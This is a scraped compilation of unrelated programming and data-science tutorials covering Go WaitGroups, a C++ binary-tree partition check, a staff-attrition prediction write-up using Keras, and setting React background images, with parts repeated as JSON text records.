"text": "Output:"
},
{
"code": null,
"e": 2040,
"s": 1969,
"text": "Enter a number\n10\n3628800\n\nEnter a number\n2\n2\n\nEnter a number\n9\n362880"
},
{
"code": null,
"e": 2048,
"s": 2040,
"text": "meetgor"
},
{
"code": null,
"e": 2055,
"s": 2048,
"text": "Picked"
},
{
"code": null,
"e": 2068,
"s": 2055,
"text": "Shell Script"
},
{
"code": null,
"e": 2079,
"s": 2068,
"text": "Linux-Unix"
},
{
"code": null,
"e": 2177,
"s": 2079,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 2203,
"s": 2177,
"text": "Docker - COPY Instruction"
},
{
"code": null,
"e": 2238,
"s": 2203,
"text": "scp command in Linux with Examples"
},
{
"code": null,
"e": 2275,
"s": 2238,
"text": "chown command in Linux with Examples"
},
{
"code": null,
"e": 2304,
"s": 2275,
"text": "SED command in Linux | Set 2"
},
{
"code": null,
"e": 2338,
"s": 2304,
"text": "mv command in Linux with examples"
},
{
"code": null,
"e": 2375,
"s": 2338,
"text": "nohup Command in Linux with Examples"
},
{
"code": null,
"e": 2412,
"s": 2375,
"text": "chmod command in Linux with examples"
},
{
"code": null,
"e": 2451,
"s": 2412,
"text": "Introduction to Linux Operating System"
},
{
"code": null,
"e": 2491,
"s": 2451,
"text": "Array Basics in Shell Scripting | Set 1"
}
] |
Using WaitGroup in Golang
|
03 Jun, 2020
Go routines are a great selling point for golang, making it a choice of a lots of developers out there. In this post we will see a common problem with these goroutines and try to solve it.
Let’s see a simple code snippet illustrating this problem,
Go
package main import "fmt" func runner1() { fmt.Print("\nI am first runner")} func runner2() { fmt.Print("\nI am second runner")} func execute() { go runner1() go runner2() } func main() { // Launching both the runners execute()}
As you just saw there was nothing in the output, this because as soon as you launch both the goroutines, your main function just got terminated. And every program in Golang executes until main function is not terminated. So, what can we do with this problem
1. We can wait for some time after launching the runners, for this purpose we will use “time” packages function “Sleep” which pauses the execution of function for given duration,
Go
package main import ( "fmt" "time") func runner1() { fmt.Print("\nI am first runner")} func runner2() { fmt.Print("\nI am second runner")} func execute() { go runner1() go runner2() } func main() { // Launching both the runners execute() time.Sleep(time.Second)}
Output:
I am second runner
I am first runner
We just solve the problem, after launching our runners we wait for a second, so our main function was sleeping(blocked) for 1 sec. In that duration all of the go routines were executed successfully. But Golang is a fast language, It doesn’t take 1 sec to just print 2 strings.
The problem is that, our executors executes in bit amount of time so we unnecessarily blocking the program for 1 sec. In this example it doesn’t seems to be a critical problem but if you making a production grade server who is going to serve 1000’s of request concurrently this will be a big problem.
2. Let’s use another Golang’s standard library primitive “sync.WaitGroup“. WaitGroup is actually a type of counter which blocks the execution of function (or might say A goroutine) until its internal counter become 0.
WaitGroup exports 3 methods.
Note: WaitGroup is concurrency safe, so its safe to pass pointer to it as argument for Groutines.
Go
package main import ( "fmt" "sync") func runner1(wg *sync.WaitGroup) { defer wg.Done() // This decreases counter by 1 fmt.Print("\nI am first runner") } func runner2(wg *sync.WaitGroup) { defer wg.Done() fmt.Print("\nI am second runner")} func execute() { wg := new(sync.WaitGroup) wg.Add(2) // We are increasing the counter by 2 // because we have 2 goroutines go runner1(wg) go runner2(wg) // This Blocks the execution // until its counter become 0 wg.Wait()} func main() { // Launching both the runners execute()}
Output:
I am second runner
I am first runner
The output is same but we out program doesn’t block for 1 sec . Pattern, we showed you above is a common practice in writing concurrent code in Golang.
Golang-Concurrency
Articles
Go Language
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 53,
"s": 25,
"text": "\n03 Jun, 2020"
},
{
"code": null,
"e": 242,
"s": 53,
"text": "Go routines are a great selling point for golang, making it a choice of a lots of developers out there. In this post we will see a common problem with these goroutines and try to solve it."
},
{
"code": null,
"e": 301,
"s": 242,
"text": "Let’s see a simple code snippet illustrating this problem,"
},
{
"code": null,
"e": 304,
"s": 301,
"text": "Go"
},
{
"code": "package main import \"fmt\" func runner1() { fmt.Print(\"\\nI am first runner\")} func runner2() { fmt.Print(\"\\nI am second runner\")} func execute() { go runner1() go runner2() } func main() { // Launching both the runners execute()}",
"e": 561,
"s": 304,
"text": null
},
{
"code": null,
"e": 819,
"s": 561,
"text": "As you just saw there was nothing in the output, this because as soon as you launch both the goroutines, your main function just got terminated. And every program in Golang executes until main function is not terminated. So, what can we do with this problem"
},
{
"code": null,
"e": 998,
"s": 819,
"text": "1. We can wait for some time after launching the runners, for this purpose we will use “time” packages function “Sleep” which pauses the execution of function for given duration,"
},
{
"code": null,
"e": 1001,
"s": 998,
"text": "Go"
},
{
"code": "package main import ( \"fmt\" \"time\") func runner1() { fmt.Print(\"\\nI am first runner\")} func runner2() { fmt.Print(\"\\nI am second runner\")} func execute() { go runner1() go runner2() } func main() { // Launching both the runners execute() time.Sleep(time.Second)}",
"e": 1299,
"s": 1001,
"text": null
},
{
"code": null,
"e": 1309,
"s": 1301,
"text": "Output:"
},
{
"code": null,
"e": 1347,
"s": 1309,
"text": "I am second runner\nI am first runner\n"
},
{
"code": null,
"e": 1624,
"s": 1347,
"text": "We just solve the problem, after launching our runners we wait for a second, so our main function was sleeping(blocked) for 1 sec. In that duration all of the go routines were executed successfully. But Golang is a fast language, It doesn’t take 1 sec to just print 2 strings."
},
{
"code": null,
"e": 1926,
"s": 1624,
"text": "The problem is that, our executors executes in bit amount of time so we unnecessarily blocking the program for 1 sec. In this example it doesn’t seems to be a critical problem but if you making a production grade server who is going to serve 1000’s of request concurrently this will be a big problem."
},
{
"code": null,
"e": 2144,
"s": 1926,
"text": "2. Let’s use another Golang’s standard library primitive “sync.WaitGroup“. WaitGroup is actually a type of counter which blocks the execution of function (or might say A goroutine) until its internal counter become 0."
},
{
"code": null,
"e": 2173,
"s": 2144,
"text": "WaitGroup exports 3 methods."
},
{
"code": null,
"e": 2271,
"s": 2173,
"text": "Note: WaitGroup is concurrency safe, so its safe to pass pointer to it as argument for Groutines."
},
{
"code": null,
"e": 2274,
"s": 2271,
"text": "Go"
},
{
"code": "package main import ( \"fmt\" \"sync\") func runner1(wg *sync.WaitGroup) { defer wg.Done() // This decreases counter by 1 fmt.Print(\"\\nI am first runner\") } func runner2(wg *sync.WaitGroup) { defer wg.Done() fmt.Print(\"\\nI am second runner\")} func execute() { wg := new(sync.WaitGroup) wg.Add(2) // We are increasing the counter by 2 // because we have 2 goroutines go runner1(wg) go runner2(wg) // This Blocks the execution // until its counter become 0 wg.Wait()} func main() { // Launching both the runners execute()}",
"e": 2852,
"s": 2274,
"text": null
},
{
"code": null,
"e": 2862,
"s": 2854,
"text": "Output:"
},
{
"code": null,
"e": 2899,
"s": 2862,
"text": "I am second runner\nI am first runner"
},
{
"code": null,
"e": 3051,
"s": 2899,
"text": "The output is same but we out program doesn’t block for 1 sec . Pattern, we showed you above is a common practice in writing concurrent code in Golang."
},
{
"code": null,
"e": 3070,
"s": 3051,
"text": "Golang-Concurrency"
},
{
"code": null,
"e": 3079,
"s": 3070,
"text": "Articles"
},
{
"code": null,
"e": 3091,
"s": 3079,
"text": "Go Language"
}
] |
Equal Tree Partition in C++
|
Suppose we have a binary tree with n nodes, our task is to check whether it's possible to partition the tree to two trees which have the equal sum of values after deleting exactly one edge on the original tree.
So, if the input is like
then the output will be true.
To solve this, we will follow these steps −
To solve this, we will follow these steps −
Define one stack st
Define one stack st
Define a function solve(), this will take node,
Define a function solve(), this will take node,
if node is null, then −return 0
if node is null, then −
return 0
return 0
leftSum := solve(left of node)
leftSum := solve(left of node)
rightSum := solve(right of node)
rightSum := solve(right of node)
curr := val + leftSum + rightSum of node
curr := val + leftSum + rightSum of node
insert curr into st
insert curr into st
return curr
return curr
From the main method do the following −
From the main method do the following −
solve(root)
solve(root)
totalSum := top element of st
totalSum := top element of st
delete element from st
delete element from st
while (not st is empty), do −x := top element of stdelete element from sty := totalSum - xif x is same as y, then −return true
while (not st is empty), do −
x := top element of st
x := top element of st
delete element from st
delete element from st
y := totalSum - x
y := totalSum - x
if x is same as y, then −return true
if x is same as y, then −
return true
return true
return false
return false
Let us see the following implementation to get a better understanding −
Live Demo
#include <bits/stdc++.h>
using namespace std;
class TreeNode{
public:
int val;
TreeNode *left, *right;
TreeNode(int data){
val = data;
left = NULL;
right = NULL;
}
};
class Solution {
public:
stack <int> st;
int solve(TreeNode* node){
if (!node)
return 0;
int leftSum = solve(node->left);
int rightSum = solve(node->right);
int curr = node->val + leftSum + rightSum;
st.push(curr);
return curr;
}
bool checkEqualTree(TreeNode* root) {
solve(root);
int totalSum = st.top();
st.pop();
while (!st.empty()) {
int x = st.top();
st.pop();
int y = totalSum - x;
if (x == y)
return true;
}
return false;
}
};
main(){
Solution ob;
TreeNode *root = new TreeNode(5);
root->left = new TreeNode(10);
root->right = new TreeNode(10);
root->right->left = new TreeNode(2);
root->right->right = new TreeNode(3);
cout<<(ob.checkEqualTree(root));
}
TreeNode *root = new TreeNode(5);
root->left = new TreeNode(10);
root->right = new TreeNode(10);
root->right->left = new TreeNode(2);
root->right->right = new TreeNode(3);
1
|
[
{
"code": null,
"e": 1273,
"s": 1062,
"text": "Suppose we have a binary tree with n nodes, our task is to check whether it's possible to partition the tree to two trees which have the equal sum of values after deleting exactly one edge on the original tree."
},
{
"code": null,
"e": 1298,
"s": 1273,
"text": "So, if the input is like"
},
{
"code": null,
"e": 1328,
"s": 1298,
"text": "then the output will be true."
},
{
"code": null,
"e": 1372,
"s": 1328,
"text": "To solve this, we will follow these steps −"
},
{
"code": null,
"e": 1416,
"s": 1372,
"text": "To solve this, we will follow these steps −"
},
{
"code": null,
"e": 1436,
"s": 1416,
"text": "Define one stack st"
},
{
"code": null,
"e": 1456,
"s": 1436,
"text": "Define one stack st"
},
{
"code": null,
"e": 1504,
"s": 1456,
"text": "Define a function solve(), this will take node,"
},
{
"code": null,
"e": 1552,
"s": 1504,
"text": "Define a function solve(), this will take node,"
},
{
"code": null,
"e": 1584,
"s": 1552,
"text": "if node is null, then −return 0"
},
{
"code": null,
"e": 1608,
"s": 1584,
"text": "if node is null, then −"
},
{
"code": null,
"e": 1617,
"s": 1608,
"text": "return 0"
},
{
"code": null,
"e": 1626,
"s": 1617,
"text": "return 0"
},
{
"code": null,
"e": 1657,
"s": 1626,
"text": "leftSum := solve(left of node)"
},
{
"code": null,
"e": 1688,
"s": 1657,
"text": "leftSum := solve(left of node)"
},
{
"code": null,
"e": 1721,
"s": 1688,
"text": "rightSum := solve(right of node)"
},
{
"code": null,
"e": 1754,
"s": 1721,
"text": "rightSum := solve(right of node)"
},
{
"code": null,
"e": 1795,
"s": 1754,
"text": "curr := val + leftSum + rightSum of node"
},
{
"code": null,
"e": 1836,
"s": 1795,
"text": "curr := val + leftSum + rightSum of node"
},
{
"code": null,
"e": 1856,
"s": 1836,
"text": "insert curr into st"
},
{
"code": null,
"e": 1876,
"s": 1856,
"text": "insert curr into st"
},
{
"code": null,
"e": 1888,
"s": 1876,
"text": "return curr"
},
{
"code": null,
"e": 1900,
"s": 1888,
"text": "return curr"
},
{
"code": null,
"e": 1940,
"s": 1900,
"text": "From the main method do the following −"
},
{
"code": null,
"e": 1980,
"s": 1940,
"text": "From the main method do the following −"
},
{
"code": null,
"e": 1992,
"s": 1980,
"text": "solve(root)"
},
{
"code": null,
"e": 2004,
"s": 1992,
"text": "solve(root)"
},
{
"code": null,
"e": 2034,
"s": 2004,
"text": "totalSum := top element of st"
},
{
"code": null,
"e": 2064,
"s": 2034,
"text": "totalSum := top element of st"
},
{
"code": null,
"e": 2087,
"s": 2064,
"text": "delete element from st"
},
{
"code": null,
"e": 2110,
"s": 2087,
"text": "delete element from st"
},
{
"code": null,
"e": 2237,
"s": 2110,
"text": "while (not st is empty), do −x := top element of stdelete element from sty := totalSum - xif x is same as y, then −return true"
},
{
"code": null,
"e": 2267,
"s": 2237,
"text": "while (not st is empty), do −"
},
{
"code": null,
"e": 2290,
"s": 2267,
"text": "x := top element of st"
},
{
"code": null,
"e": 2313,
"s": 2290,
"text": "x := top element of st"
},
{
"code": null,
"e": 2336,
"s": 2313,
"text": "delete element from st"
},
{
"code": null,
"e": 2359,
"s": 2336,
"text": "delete element from st"
},
{
"code": null,
"e": 2377,
"s": 2359,
"text": "y := totalSum - x"
},
{
"code": null,
"e": 2395,
"s": 2377,
"text": "y := totalSum - x"
},
{
"code": null,
"e": 2432,
"s": 2395,
"text": "if x is same as y, then −return true"
},
{
"code": null,
"e": 2458,
"s": 2432,
"text": "if x is same as y, then −"
},
{
"code": null,
"e": 2470,
"s": 2458,
"text": "return true"
},
{
"code": null,
"e": 2482,
"s": 2470,
"text": "return true"
},
{
"code": null,
"e": 2495,
"s": 2482,
"text": "return false"
},
{
"code": null,
"e": 2508,
"s": 2495,
"text": "return false"
},
{
"code": null,
"e": 2580,
"s": 2508,
"text": "Let us see the following implementation to get a better understanding −"
},
{
"code": null,
"e": 2591,
"s": 2580,
"text": " Live Demo"
},
{
"code": null,
"e": 3615,
"s": 2591,
"text": "#include <bits/stdc++.h>\nusing namespace std;\nclass TreeNode{\npublic:\n int val;\n TreeNode *left, *right;\n TreeNode(int data){\n val = data;\n left = NULL;\n right = NULL;\n }\n};\nclass Solution {\npublic:\n stack <int> st;\n int solve(TreeNode* node){\n if (!node)\n return 0;\n int leftSum = solve(node->left);\n int rightSum = solve(node->right);\n int curr = node->val + leftSum + rightSum;\n st.push(curr);\n return curr;\n }\n bool checkEqualTree(TreeNode* root) {\n solve(root);\n int totalSum = st.top();\n st.pop();\n while (!st.empty()) {\n int x = st.top();\n st.pop();\n int y = totalSum - x;\n if (x == y)\n return true;\n }\n return false;\n }\n};\nmain(){\n Solution ob;\n TreeNode *root = new TreeNode(5);\n root->left = new TreeNode(10);\n root->right = new TreeNode(10);\n root->right->left = new TreeNode(2);\n root->right->right = new TreeNode(3);\n cout<<(ob.checkEqualTree(root));\n}"
},
{
"code": null,
"e": 3787,
"s": 3615,
"text": "TreeNode *root = new TreeNode(5);\nroot->left = new TreeNode(10);\nroot->right = new TreeNode(10);\nroot->right->left = new TreeNode(2);\nroot->right->right = new TreeNode(3);"
},
{
"code": null,
"e": 3789,
"s": 3787,
"text": "1"
}
] |
Solving Staff Attrition with Data | by Andrew Olton | Towards Data Science
|
Every now and then I enjoy hopping over to Kaggle to see if there are any interesting data sets that I may want to play with. Earlier this week I came across a fictional dataset on staff attrition. You can find the dataset using the link below:
www.kaggle.com
The dataset was shared by a Mr. Ludovic Benistant who asks the question: “Why are our best and most experienced employees leaving prematurely?”He also posed a challenge to “Have fun with this database and try to predict which valuable employees will leave next” which I was certainly up for.
I must admit however, that as interesting as his question was, I didn’t have much of an interest in answering it. I had other questions to ask:
Can I predict which staff members will leave next?Can I create a system which may assist in staff retention?
Can I predict which staff members will leave next?
Can I create a system which may assist in staff retention?
I’ll admit, that Question 1 isn’t very far from what Ludovic wanted to know, but my real aim in this experiment was to come up with a system for solving Question 2.
The dataset is simulated and contained the following fields:
Employee satisfaction level
Last evaluation
Number of projects
Average monthly hours
Time spent at the company
Whether they have had a work accident
Whether they have had a promotion in the last 5 years
Department
Salary
Whether the employee has left
To solve this problem, I decided to use a combination of three type of analytics:
Descriptive Analytics: What are the observations that help us shape our various hypotheses about staff attrition?
Predictive Analytics: Which members of staff are about to leave?
Prescriptive Analytics: What insights or suggestions can be made concerning those members of staff who are likely to leave?
Just for the fun of it, I thought I’d get the easy stuff out of the way first: building a machine learning model to predict which staff would leave or not.
I think I should point out when exactly this sort of thing would be used in the real world. If I were to apply this algorithm in the real world, I would probably run this algorithm after a performance appraisal or at the time when the “Last evaluation” would be populated. I think doing so would fit the model seamlessly into the workflow of the organization.
For those who may be wondering about my setup, I’m using a Python environment called Anaconda which I use to manage all of my packages, and I’m using the Keras api with a Theano backend for developing my models. I intend to learn Tensor Flow very soon however.
For this task I created a model with 1 input layer, 4 hidden layers and an output layer. The accuracy score is (I’m pretty sure there’s some overfitting happening here). Here’s the code:
This model yielded an accuracy score of 97%.
With the model created, I can predict who will leave the organization and the next thing I needed to find out was why. For this, I decided to use correlation analysis to determine which factors contribute the most to staff attrition.
I found that variable most correlated to attrition was job satisfaction which had a score of -0.39. A negative correlation means that the likelihood of departure increases as job satisfaction decreases (makes sense right?). I also observed that the employees who left were 34% less satisfied with their jobs that the employees who stayed.
I was off to a good start, but I wasn’t quite done yet.
After learning that employees were leaving because they weren’t satisfied with their jobs, I needed to know why this was the case and what could be done to increase job satisfaction. To find ways to address job satisfaction among employees, I did deeper investigation into the factors that contributed to job satisfaction.
I did another correlation analysis on job satisfaction and I discovered that the time spent at the company and the number of projects worked on had the greatest impact (this was true for staff who left and staff who stayed). Other factors such as the employee’s average monthly hours and their last evaluation also had an impact.
Now that I had a machine learning model that can predict whether or not a member of staff may leave and I had an idea of what contributes to job satisfaction, I had what I needed to build a system that creates recommendations for improving job satisfaction for employees who may be leaving soon. I thought it useful to create a “retention profile” which summarizes the traits of the members of staff who did not leave the organization. Doing so would allow me to compare the profile of a staff member who is likely to leave with this “retention profile” and easily generate insights that are actionable.
I should add that if this system were to be used in the wild, we would also take the value of the employee to the organization into consideration (which would have made answering Ludovic’s question necessary).
Here’s the code I wrote for creating the retention profile:
Now that I have a retention profile, the next step is to somehow create a system that would incorporate the model that I created earlier to provide users with recommendations on treating with the members of staff who are likely to leave the company.
The logic I came up with is fairly simple:
Use the Machine Learning Model to find staff who are likely to leave the organizationCompare this person’s scores to the retention profile created previouslyBased on the scores and the correlation of the attributes to job satisfaction...Create actionable suggestions for improving the likelihood of retention
Use the Machine Learning Model to find staff who are likely to leave the organization
Compare this person’s scores to the retention profile created previously
Based on the scores and the correlation of the attributes to job satisfaction...
Create actionable suggestions for improving the likelihood of retention
The output I got looked something like this:
This member of staff will leave.I’ve noticed that this member of staff’s ‘number_project’ is below the norm. You may want to consider increasing his/her ‘number_project’ by 2.8155514094640495
I’ll admit it’s not the best thing to look at, but I think it’s a great start. The final product is an actionable insight.
Prescriptive Analytics can be useful for bolstering the decision making power of staff who may be new to managerial positions and may be acting or being trained for such positions. I suppose that in some cases it can even be used to for evaluating potential candidates for such positions.
I personally feel that for this type of scenario, Prescriptive Analytics can be useful for getting to the root cause of employee dissatisfaction and finding ways to strengthen the relationship between staff and management. The best way to see if this system is truly capable of delivering value, would be to try it out in real life.
One of the things that we were not able to ascertain from the data is the quality of projects at the organization and I do believe that correlations alone may not be enough to determine the best way of improving job satisfaction. Perhaps with more data we could get a better understanding of the factors that contribute to job satisfaction.
*Update: A friend of mine mentioned that this type of project would be useful for setting strategic goals for departments within an organization. I didn’t think of it before, but I definitely agree with her (Thanks Shades).
I hope this experiment was useful and I hope you learned something. I’m very new at this and I would love your feedback. Please be as honest as possible, constructive criticism is always welcome.
The code for this experiment can be found here.
If you’d like to see what others have done with the data, follow this link:
www.kaggle.com
I was very impressed by what other people came up with.
Now that I’ve conquered this challenge, I’m going to test this approach with a similar dataset: The IBM Employee Attrition Dataset. I think this time around I’ll actually answer the question. :)
www.kaggle.com
See you soon.
|
[
{
"code": null,
"e": 417,
"s": 172,
"text": "Every now and then I enjoy hopping over to Kaggle to see if there are any interesting data sets that I may want to play with. Earlier this week I came across a fictional dataset on staff attrition. You can find the dataset using the link below:"
},
{
"code": null,
"e": 432,
"s": 417,
"text": "www.kaggle.com"
},
{
"code": null,
"e": 724,
"s": 432,
"text": "The dataset was shared by a Mr. Ludovic Benistant who asks the question: “Why are our best and most experienced employees leaving prematurely?”He also posed a challenge to “Have fun with this database and try to predict which valuable employees will leave next” which I was certainly up for."
},
{
"code": null,
"e": 868,
"s": 724,
"text": "I must admit however, that as interesting as his question was, I didn’t have much of an interest in answering it. I had other questions to ask:"
},
{
"code": null,
"e": 977,
"s": 868,
"text": "Can I predict which staff members will leave next?Can I create a system which may assist in staff retention?"
},
{
"code": null,
"e": 1028,
"s": 977,
"text": "Can I predict which staff members will leave next?"
},
{
"code": null,
"e": 1087,
"s": 1028,
"text": "Can I create a system which may assist in staff retention?"
},
{
"code": null,
"e": 1252,
"s": 1087,
"text": "I’ll admit, that Question 1 isn’t very far from what Ludovic wanted to know, but my real aim in this experiment was to come up with a system for solving Question 2."
},
{
"code": null,
"e": 1313,
"s": 1252,
"text": "The dataset is simulated and contained the following fields:"
},
{
"code": null,
"e": 1341,
"s": 1313,
"text": "Employee satisfaction level"
},
{
"code": null,
"e": 1357,
"s": 1341,
"text": "Last evaluation"
},
{
"code": null,
"e": 1376,
"s": 1357,
"text": "Number of projects"
},
{
"code": null,
"e": 1398,
"s": 1376,
"text": "Average monthly hours"
},
{
"code": null,
"e": 1424,
"s": 1398,
"text": "Time spent at the company"
},
{
"code": null,
"e": 1462,
"s": 1424,
"text": "Whether they have had a work accident"
},
{
"code": null,
"e": 1516,
"s": 1462,
"text": "Whether they have had a promotion in the last 5 years"
},
{
"code": null,
"e": 1527,
"s": 1516,
"text": "Department"
},
{
"code": null,
"e": 1534,
"s": 1527,
"text": "Salary"
},
{
"code": null,
"e": 1564,
"s": 1534,
"text": "Whether the employee has left"
},
{
"code": null,
"e": 1646,
"s": 1564,
"text": "To solve this problem, I decided to use a combination of three type of analytics:"
},
{
"code": null,
"e": 1760,
"s": 1646,
"text": "Descriptive Analytics: What are the observations that help us shape our various hypotheses about staff attrition?"
},
{
"code": null,
"e": 1825,
"s": 1760,
"text": "Predictive Analytics: Which members of staff are about to leave?"
},
{
"code": null,
"e": 1949,
"s": 1825,
"text": "Prescriptive Analytics: What insights or suggestions can be made concerning those members of staff who are likely to leave?"
},
{
"code": null,
"e": 2105,
"s": 1949,
"text": "Just for the fun of it, I thought I’d get the easy stuff out of the way first: building a machine learning model to predict which staff would leave or not."
},
{
"code": null,
"e": 2465,
"s": 2105,
"text": "I think I should point out when exactly this sort of thing would be used in the real world. If I were to apply this algorithm in the real world, I would probably run this algorithm after a performance appraisal or at the time when the “Last evaluation” would be populated. I think doing so would fit the model seamlessly into the workflow of the organization."
},
{
"code": null,
"e": 2726,
"s": 2465,
"text": "For those who may be wondering about my setup, I’m using a Python environment called Anaconda which I use to manage all of my packages, and I’m using the Keras api with a Theano backend for developing my models. I intend to learn Tensor Flow very soon however."
},
{
"code": null,
"e": 2913,
"s": 2726,
"text": "For this task I created a model with 1 input layer, 4 hidden layers and an output layer. The accuracy score is (I’m pretty sure there’s some overfitting happening here). Here’s the code:"
},
{
"code": null,
"e": 2958,
"s": 2913,
"text": "This model yielded an accuracy score of 97%."
},
{
"code": null,
"e": 3192,
"s": 2958,
"text": "With the model created, I can predict who will leave the organization and the next thing I needed to find out was why. For this, I decided to use correlation analysis to determine which factors contribute the most to staff attrition."
},
{
"code": null,
"e": 3531,
"s": 3192,
"text": "I found that variable most correlated to attrition was job satisfaction which had a score of -0.39. A negative correlation means that the likelihood of departure increases as job satisfaction decreases (makes sense right?). I also observed that the employees who left were 34% less satisfied with their jobs that the employees who stayed."
},
{
"code": null,
"e": 3587,
"s": 3531,
"text": "I was off to a good start, but I wasn’t quite done yet."
},
{
"code": null,
"e": 3910,
"s": 3587,
"text": "After learning that employees were leaving because they weren’t satisfied with their jobs, I needed to know why this was the case and what could be done to increase job satisfaction. To find ways to address job satisfaction among employees, I did deeper investigation into the factors that contributed to job satisfaction."
},
{
"code": null,
"e": 4240,
"s": 3910,
"text": "I did another correlation analysis on job satisfaction and I discovered that the time spent at the company and the number of projects worked on had the greatest impact (this was true for staff who left and staff who stayed). Other factors such as the employee’s average monthly hours and their last evaluation also had an impact."
},
{
"code": null,
"e": 4844,
"s": 4240,
"text": "Now that I had a machine learning model that can predict whether or not a member of staff may leave and I had an idea of what contributes to job satisfaction, I had what I needed to build a system that creates recommendations for improving job satisfaction for employees who may be leaving soon. I thought it useful to create a “retention profile” which summarizes the traits of the members of staff who did not leave the organization. Doing so would allow me to compare the profile of a staff member who is likely to leave with this “retention profile” and easily generate insights that are actionable."
},
{
"code": null,
"e": 5054,
"s": 4844,
"text": "I should add that if this system were to be used in the wild, we would also take the value of the employee to the organization into consideration (which would have made answering Ludovic’s question necessary)."
},
{
"code": null,
"e": 5114,
"s": 5054,
"text": "Here’s the code I wrote for creating the retention profile:"
},
{
"code": null,
"e": 5364,
"s": 5114,
"text": "Now that I have a retention profile, the next step is to somehow create a system that would incorporate the model that I created earlier to provide users with recommendations on treating with the members of staff who are likely to leave the company."
},
{
"code": null,
"e": 5407,
"s": 5364,
"text": "The logic I came up with is fairly simple:"
},
{
"code": null,
"e": 5716,
"s": 5407,
"text": "Use the Machine Learning Model to find staff who are likely to leave the organizationCompare this person’s scores to the retention profile created previouslyBased on the scores and the correlation of the attributes to job satisfaction...Create actionable suggestions for improving the likelihood of retention"
},
{
"code": null,
"e": 5802,
"s": 5716,
"text": "Use the Machine Learning Model to find staff who are likely to leave the organization"
},
{
"code": null,
"e": 5875,
"s": 5802,
"text": "Compare this person’s scores to the retention profile created previously"
},
{
"code": null,
"e": 5956,
"s": 5875,
"text": "Based on the scores and the correlation of the attributes to job satisfaction..."
},
{
"code": null,
"e": 6028,
"s": 5956,
"text": "Create actionable suggestions for improving the likelihood of retention"
},
{
"code": null,
"e": 6073,
"s": 6028,
"text": "The output I got looked something like this:"
},
{
"code": null,
"e": 6265,
"s": 6073,
"text": "This member of staff will leave.I’ve noticed that this member of staff’s ‘number_project’ is below the norm. You may want to consider increasing his/her ‘number_project’ by 2.8155514094640495"
},
{
"code": null,
"e": 6388,
"s": 6265,
"text": "I’ll admit it’s not the best thing to look at, but I think it’s a great start. The final product is an actionable insight."
},
{
"code": null,
"e": 6677,
"s": 6388,
"text": "Prescriptive Analytics can be useful for bolstering the decision making power of staff who may be new to managerial positions and may be acting or being trained for such positions. I suppose that in some cases it can even be used to for evaluating potential candidates for such positions."
},
{
"code": null,
"e": 7010,
"s": 6677,
"text": "I personally feel that for this type of scenario, Prescriptive Analytics can be useful for getting to the root cause of employee dissatisfaction and finding ways to strengthen the relationship between staff and management. The best way to see if this system is truly capable of delivering value, would be to try it out in real life."
},
{
"code": null,
"e": 7351,
"s": 7010,
"text": "One of the things that we were not able to ascertain from the data is the quality of projects at the organization and I do believe that correlations alone may not be enough to determine the best way of improving job satisfaction. Perhaps with more data we could get a better understanding of the factors that contribute to job satisfaction."
},
{
"code": null,
"e": 7575,
"s": 7351,
"text": "*Update: A friend of mine mentioned that this type of project would be useful for setting strategic goals for departments within an organization. I didn’t think of it before, but I definitely agree with her (Thanks Shades)."
},
{
"code": null,
"e": 7771,
"s": 7575,
"text": "I hope this experiment was useful and I hope you learned something. I’m very new at this and I would love your feedback. Please be as honest as possible, constructive criticism is always welcome."
},
{
"code": null,
"e": 7819,
"s": 7771,
"text": "The code for this experiment can be found here."
},
{
"code": null,
"e": 7895,
"s": 7819,
"text": "If you’d like to see what others have done with the data, follow this link:"
},
{
"code": null,
"e": 7910,
"s": 7895,
"text": "www.kaggle.com"
},
{
"code": null,
"e": 7966,
"s": 7910,
"text": "I was very impressed by what other people came up with."
},
{
"code": null,
"e": 8161,
"s": 7966,
"text": "Now that I’ve conquered this challenge, I’m going to test this approach with a similar dataset: The IBM Employee Attrition Dataset. I think this time around I’ll actually answer the question. :)"
},
{
"code": null,
"e": 8176,
"s": 8161,
"text": "www.kaggle.com"
}
] |
How to set a background Image With React Inline Styles ? - GeeksforGeeks
|
22 Dec, 2020
A React project is created using create-react-app command and the task is to set a background image using react inline styles. There are three approaches that are discussed below:
Approach 1: Set background image using external URL: If the image located somewhere online, then the background image of the element can be set like this:
Filename: App.js
Javascript
import React from "react"; const App = () => { return ( <div style={{ backgroundImage: 'url("https://media.geeksforgeeks.org/'+ 'wp-content/uploads/20201221222410/download3.png")', height: "300px", backgroundRepeat: "no-repeat" }}> <h1> HELLO </h1> </div> );}; export default App;
Approach 2: Set background image using the Absolute URL method: If you put your image, for example, background.jpg file inside the public/ folder, you can include the absolute URL by using the PUBLIC_URL environment variable.
Filename: App.js
Javascript
import React from "react"; const App = () => { return ( <div style={{ backgroundImage: `url(${process.env.PUBLIC_URL + "/background.jpg"})`, height: "300px", backgroundRepeat: "no-repeat" }} > <h1>Hello</h1> </div> );}; export default App;
Approach 3: Set background image using the Relative URL method: If you put your image, for example, background.jpg file inside the public/ folder in the react app, you can access it at <your host address>/background.jpg.
You can then assign the URL relative to your host address to set the background image like this:
Filename: App.js
Javascript
import React from "react"; const App = () => { return ( <div style={{ backgroundImage: "url(/background.jpg)", height: "300px", backgroundRepeat: "no-repeat" }} > <h1>Hello</h1> </div> );}; export default App;
Step to Run Application: Run the application using the following command from the root directory of the project:
npm start
Output:
Picked
react-js
JavaScript
Web Technologies
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Comments
Old Comments
Convert a string to an integer in JavaScript
Difference between var, let and const keywords in JavaScript
Differences between Functional Components and Class Components in React
How to append HTML code to a div using JavaScript ?
How to Open URL in New Tab using JavaScript ?
Roadmap to Become a Web Developer in 2022
Installation of Node.js on Linux
How to fetch data from an API in ReactJS ?
Top 10 Projects For Beginners To Practice HTML and CSS Skills
How to insert spaces/tabs in text using HTML/CSS?
|
[
{
"code": null,
"e": 24960,
"s": 24932,
"text": "\n22 Dec, 2020"
},
{
"code": null,
"e": 25140,
"s": 24960,
"text": "A React project is created using create-react-app command and the task is to set a background image using react inline styles. There are three approaches that are discussed below:"
},
{
"code": null,
"e": 25295,
"s": 25140,
"text": "Approach 1: Set background image using external URL: If the image located somewhere online, then the background image of the element can be set like this:"
},
{
"code": null,
"e": 25312,
"s": 25295,
"text": "Filename: App.js"
},
{
"code": null,
"e": 25323,
"s": 25312,
"text": "Javascript"
},
{
